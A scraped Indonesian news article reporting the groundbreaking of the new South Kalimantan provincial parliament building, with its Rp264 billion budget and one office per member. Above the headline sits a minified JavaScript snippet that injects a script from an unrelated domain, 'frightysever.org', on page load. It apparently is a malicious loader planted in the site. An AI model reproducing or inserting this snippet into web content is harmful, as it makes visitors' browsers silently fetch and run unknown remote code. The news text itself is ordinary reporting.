(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Gedung Baru DPRD Kalsel Habiskan Rp264 Miliar, Satu Wakil Rakyat Satu Ruangan

KANALKALIMANTAN.COM, BANJARBARU – Gedung Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi Kalimantan Selatan (Kalsel) yang baru mulai dibangun di kawasan perkantoran Gubernur Kalsel, di Kota Banjarbaru.

Ground breaking gedung wakil rakyat seluas 2,9 hektare tersebut mulai dilaksanakan, Rabu (5/6/2024) siang, dihadiri Gubernur Kalimantan Selatan H Sahbirin Noor, Ketua DPRD Provinsi Kalsel H Supian HK, dan Forkopimda.

Kepala Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Provinsi Kalsel, Ahmad Solhan mengatakan, sumber dana untuk pekerjaan pembangunan gedung baru DPRD Kalsel menggunakan Anggaran Pendapatan dan Belanja Daerah (APBD) Provinsi Kalsel dengan sistem pendanaan tahun jamak.

Pembangunan gedung dewan, menurut Solhan akan dilakukan secara bertahap, tahap pertama pembangun pada tahun 2024 dengan jangka waktu selama 225 hari, menelan anggaran sebesar Rp48.785.726.000.

“Tahun ini (yang dikerjakan) pondasi dan strukturnya,” sebut Solhan.

Kemudian pembangunan fisik gedung penampung aspirasi rakyat Kalsel itu akan berlanjut pada tahun 2025. Total keseluruhan anggaran pembangunan gedung DPRD Kalsel dari tahun 2024 sampai selesai pada tahun 2025 mencapai Rp264 miliar.

“Total dana insentif daerahnya secara keseluruhan Rp264 miliar, makanya bertahap dulu,” kata Solhan.

Sementara itu, Ketua DPRD Provinsi Kalsel H Supian HK mengatakan, desain interior bangunan DPRD Provinsi Kalsel berbeda dari gedung di Jalan Lambung Mangkurat Banjarmasin. Dimana pada gedung yang baru, setiap anggota DPRD Kalsel akan mendapatkan satu ruang kerja masing-masing.

Jumlah ruangan anggota dewan yang akan dibangun pun dilebihkan dari 55 total kursi Anggota DPRD Kalsel saat ini.

“Satu anggota satu ruangan, kita siapkan 65 tempat nanti, mana tahu Kalsel nanti bertambah kursi (anggota DPRD) yang ada,” ujar Supian HK.

Masih lanjut Ketua DPRD Kalsel, alasan dibuatkan masing-masing satu ruangan agar anggota dewan yang bersangkutan dapat menerima tamu atau konstituen dari masing-masing daerah pemilihan secara nyaman.

“Makanya nanti ada tamu dari Dapil masing-masing, bisa dia menyampaikan (aspirasi), tapi nanti dibawa di rapat bangar maupun di rapat pimpinan,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie